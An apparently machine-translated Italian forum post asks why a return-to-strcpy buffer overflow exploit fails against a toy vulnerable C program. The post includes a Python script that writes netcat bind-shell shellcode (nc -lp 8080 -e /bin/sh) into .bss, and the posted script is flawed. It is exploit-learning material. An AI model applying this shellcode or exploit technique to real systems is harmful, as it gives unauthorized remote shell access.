quindi, ho il seguente problema. Diciamo, ho un semplice programma vulnerabile, come questo:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln_function(char *);
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Arg needed...\n");
exit(1);
}
vuln_function(argv[1]);
return 0;
}
void vuln_function(char *buff)
{
char buffer[64];
strcpy(buffer, buff);
printf("Out: %s\n", buffer);
}
Passaggio vulnerabile - strcpy (buffer, buff); , sfruttando tramite argv [1], niente di nuovo.
Ma diciamo, non posso esportare shellcode in ambiente @ perché mi piacerebbe conoscere altri posti, dove posso inserire shellcode. Una delle possibili opzioni in cui nascondere lo shellcode è .bss o .data, l'ho verificata di persona.
[25] .data PROGBITS 08049928 000928 000008 00 WA 0 0 4
[26] .bss NOBITS 080497a4 000930 000004 00 WA 0 0 1
Con questo fatto, ho deciso di usare la sezione .bss, dove vorrei inserire il mio shellcode. Sto usando netcat shellcode - 75 byte, puoi trovarlo qui:
Successivamente alcune funzioni e i relativi indirizzi di cui avevo bisogno erano strcpy () e pop-pop-ret
strcpy = 0x08048370
ppr = 0x08048587
Ora, quando ho tutto ciò che è importante, ho scritto exploit ..
#!/usr/bin/env python
#
# 0x080497a4 - bss
# 0x08048370 - strcpy
# 0x08048587 - pop/pop/ret
#
from struct import pack
import subprocess, sys
junk = "A" * 76
strcpy = 0x08048370
ppr = 0x08048587
payload = junk
payload += strcpy
payload += ppr
payload += pack("<L", 0x080497a4) # bss
payload += "\xeb\x2a\x5e\x31"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497a8) # + 4
payload += "\xc0\x88\x46\x07"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ac) # + 8
payload += "\x88\x46\x0f\x88"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b0) # + 12
payload += "\x46\x19\x89\x76"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b4) # + 16
payload += "\x1a\x8d\x5e\x08"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b8)
payload += "\x89\x5e\x1e\x8d"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497bc)
payload += "\x5e\x10\x89\x5e"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c0)
payload += "\x22\x89\x46\x26"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c4)
payload += "\xb0\x0b\x89\xf3"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c8)
payload += "\x8d\x4e\x1a\x8d"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497cc)
payload += "\x56\x26\xcd\x80"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d0)
payload += "\xe8\xd1\xff\xff"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d4)
payload += "\xff\x2f\x62\x69"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d8)
payload += "\x6e\x2f\x6e\x63"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497dc)
payload += "\x23\x2d\x6c\x70"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e0)
payload += "\x38\x30\x38\x30"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e4)
payload += "\x23\x2d\x65\x2f"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e8)
payload += "\x62\x69\x6e\x2f"
payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ec)
payload += "\x73\x68\x23\x90"
payload += pack("<L", 0x080497a4)
print("[+] Running exploit...")
subprocess.call(["./a.out", payload])
Ho aggiunto il byte "\ x90" alla fine dello shellcode, per essere 76 byte e anche metterlo 4 byte per 4 byte in .bss e dopo ogni 4 byte di sc, ho aggiunto + 4 byte per indirizzo di .bss
Pensando, l'indirizzo finale di .bss dovrebbe contenere netcat shellcode, l'ho eseguito, ma tutto ciò che ho ottenuto è stato questo -
[+] Running exploit...
Out: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp������*^1p�������Fp������F�p�����F�vp������p������^�p�����^�^p�����"�F&p������
��p������N�p�����V&��p���������p������/bip�����n/ncp�����#-lpp�����8080p�����#-e/p�����bin/p�����sh#���
Tutte le protezioni sono disabilitate. Ho passato un po 'di tempo sopra, ma non riesco a trovare, cosa c'è che non va.
Se qualcuno di voi, può darmi un suggerimento o mostrarmi dove ho fallito, fammi sapere per favore, sono contento di imparare qualcosa di nuovo ed evitare inutili errori. Grazie in anticipo!